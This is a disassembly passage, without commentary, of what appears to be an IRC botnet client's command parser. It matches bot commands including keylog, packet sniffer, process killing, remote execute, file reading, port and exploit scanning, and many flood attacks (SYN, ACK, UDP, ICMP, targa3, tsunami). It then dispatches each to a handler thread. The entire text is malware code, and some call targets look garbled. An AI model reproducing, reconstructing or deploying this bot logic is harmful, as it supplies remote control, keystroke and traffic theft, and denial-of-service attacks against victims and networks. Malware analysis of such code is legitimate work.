call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aSe ; "se"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7B
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C41
push 20h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405B6B
push offset dword_42B24C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405B6B: ; CODE XREF: sub_401ACD+4092j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAD
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAD
mov esi, [ebp+var_88]
loc_405BAD: ; CODE XREF: sub_401ACD+40C2j
; sub_401ACD+40D8j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B21C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset byte_411FD5
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405C30
loc_405C1A: ; CODE XREF: sub_401ACD+4161j
cmp [ebp+var_E34], ebx
jnz loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_405C1A
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: sub_401ACD+414Bj
nop
call near ptr 2670D70h
push eax
push offset dword_42B1E0
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C41: ; CODE XREF: sub_401ACD+4082j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 20h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C71
push eax
push offset dword_42B1A4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_401ACD+4197j
push offset dword_42B178
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405C7B: ; CODE XREF: sub_401ACD+406Bj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCD
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D93
push 21h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405CBD
push offset unk_42B150
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405CBD: ; CODE XREF: sub_401ACD+41E4j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405CFF
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405CFF
mov esi, [ebp+var_88]
loc_405CFF: ; CODE XREF: sub_401ACD+4214j
; sub_401ACD+422Aj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B120
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412660
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405D82
loc_405D6C: ; CODE XREF: sub_401ACD+42B3j
cmp [ebp+var_F5C], ebx
jnz loc_40828B
push 32h
call near ptr 26703BBh
nop
jmp short loc_405D6C
; ---------------------------------------------------------------------------
loc_405D82: ; CODE XREF: sub_401ACD+429Dj
call near ptr 2670D70h
nop
push eax
push offset unk_42B0E4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405D93: ; CODE XREF: sub_401ACD+41D4j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 21h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC3
push eax
push offset unk_42B0A4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405DC3: ; CODE XREF: sub_401ACD+42E9j
push offset unk_42B074
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405DCD: ; CODE XREF: sub_401ACD+41BDj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA2
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E68
push 2
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405E0B
push offset dword_42B04C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405E0B: ; CODE XREF: sub_401ACD+4332j
lea eax, [ebp+var_2C4]
push offset dword_42B020
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
nop
call near ptr 267042Eh
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz loc_40828B
nop
call near ptr 2670D70h
push eax
push offset dword_42AFEC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E68: ; CODE XREF: sub_401ACD+4326j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 2
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E98
push eax
push offset dword_42AFB4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E98: ; CODE XREF: sub_401ACD+43BEj
push offset dword_42AF94
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405EA2: ; CODE XREF: sub_401ACD+430Fj
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40601F
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 23h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0E
push eax
push offset dword_42AF48
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_401ACD+4434j
push offset dword_42AF1C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F18: ; CODE XREF: sub_401ACD+4400j
; sub_401ACD+440Fj
push 23h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405F2E
push offset dword_42AEFC
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F2E: ; CODE XREF: sub_401ACD+4455j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5B
mov [ebp+var_BD0], 1
jmp short loc_405F64
; ---------------------------------------------------------------------------
loc_405F5B: ; CODE XREF: sub_401ACD+4480j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F64: ; CODE XREF: sub_401ACD+448Cj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8B
mov esi, offset aF_0 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8B
mov esi, [ebp+var_88]
loc_405F8B: ; CODE XREF: sub_401ACD+44A0j
; sub_401ACD+44B6j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42AED8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset dword_411CF4
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40600E
loc_405FF8: ; CODE XREF: sub_401ACD+453Fj
cmp [ebp+var_BCC], ebx
jnz loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_405FF8
; ---------------------------------------------------------------------------
loc_40600E: ; CODE XREF: sub_401ACD+4529j
nop
call near ptr 2670D70h
push eax
push offset dword_42AE9C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40601F: ; CODE XREF: sub_401ACD+43E4j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40626F
cmp dword_4CB044, ebx
jz short loc_40604E
cmp dword_4CB06C, ebx
jz short loc_40604E
push offset unk_42AE60
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40604E: ; CODE XREF: sub_401ACD+456Dj
; sub_401ACD+4575j
cmp [ebp+var_C], ebx
jz loc_406CDE
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406073
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406073: ; CODE XREF: sub_401ACD+4596j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C0
cmp edi, ebx
jz short loc_406094
push [ebp+arg_0]
push 3
jmp loc_406126
; ---------------------------------------------------------------------------
loc_406094: ; CODE XREF: sub_401ACD+45BBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895B
add esp, 0Ch
test eax, eax
jz short loc_4060B6
push offset unk_42AE34
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060B6: ; CODE XREF: sub_401ACD+45DDj
push offset unk_42AE14
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060C0: ; CODE XREF: sub_401ACD+45B7j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DA
push [ebp+arg_0]
push 4
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060DA: ; CODE XREF: sub_401ACD+4604j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F4
push [ebp+arg_0]
push 5
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060F4: ; CODE XREF: sub_401ACD+461Ej
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610E
push [ebp+arg_0]
push 6
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_40610E: ; CODE XREF: sub_401ACD+4638j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406138
push [ebp+arg_0]
push 1
loc_406126: ; CODE XREF: sub_401ACD+45C2j
; sub_401ACD+460Bj ...
call sub_4186C1
pop ecx
pop ecx
loc_40612D: ; CODE XREF: sub_401ACD+46A1j
; sub_401ACD+4729j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_401ACD+4652j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619D
cmp edi, ebx
jz short loc_406170
cmp [ebp+var_8FC], bl
jz short loc_40615D
push ebx
push edi
push 1
jmp short loc_406166
; ---------------------------------------------------------------------------
loc_40615D: ; CODE XREF: sub_401ACD+4688j
push [ebp+esi+var_84]
push edi
push ebx
loc_406166: ; CODE XREF: sub_401ACD+468Ej
call sub_418A98
add esp, 0Ch
jmp short loc_40612D
; ---------------------------------------------------------------------------
loc_406170: ; CODE XREF: sub_401ACD+4680j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8E
add esp, 10h
test eax, eax
jz short loc_406193
push offset unk_42ADCC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406193: ; CODE XREF: sub_401ACD+46BAj
push offset unk_42ADAC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: sub_401ACD+467Cj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406228
cmp edi, ebx
jz short loc_4061FB
cmp [ebp+var_8FC], bl
jz short loc_4061CE
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061CE: ; CODE XREF: sub_401ACD+46EDj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EA
push esi
push edi
push ebx
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061EA: ; CODE XREF: sub_401ACD+4716j
push ebx
push edi
push 2
loc_4061EE: ; CODE XREF: sub_401ACD+46FFj
; sub_401ACD+471Bj
call sub_418DAF
add esp, 18h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_401ACD+46E5j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192DF
add esp, 10h
test eax, eax
jz short loc_40621E
push offset unk_42AD84
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40621E: ; CODE XREF: sub_401ACD+4745j
push offset unk_42AD64
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_401ACD+46E1j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406265
cmp edi, ebx
jz short loc_40625B
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419593
add esp, 10h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_40625B: ; CODE XREF: sub_401ACD+4770j
push offset unk_42AD38
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406265: ; CODE XREF: sub_401ACD+476Cj
push offset unk_42AD1C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40626F: ; CODE XREF: sub_401ACD+4561j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj
; sub_401ACD+3CECj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset dword_42B500
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aJpDe100 ; "jp]de100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D6
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F6
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset word_4146CE
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4067C5
loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j
cmp [ebp+var_3070], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_4067AF
; ---------------------------------------------------------------------------
loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j
nop
call near ptr 2670D70h
push eax
push offset unk_42AB8C
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_4067D6: ; CODE XREF: sub_401ACD+4C36j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406903
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42AB44
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset word_413626
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4068F2
loc_4068DC: ; CODE XREF: sub_401ACD+4E23j
cmp [ebp+var_3498], ebx
jnz loc_407278
push 32h
nop
call near ptr 26703BBh
jmp short loc_4068DC
; ---------------------------------------------------------------------------
loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj
nop
call near ptr 2670D70h
push eax
push offset dword_42AB08
jmp loc_407269
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_401ACD+4D48j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
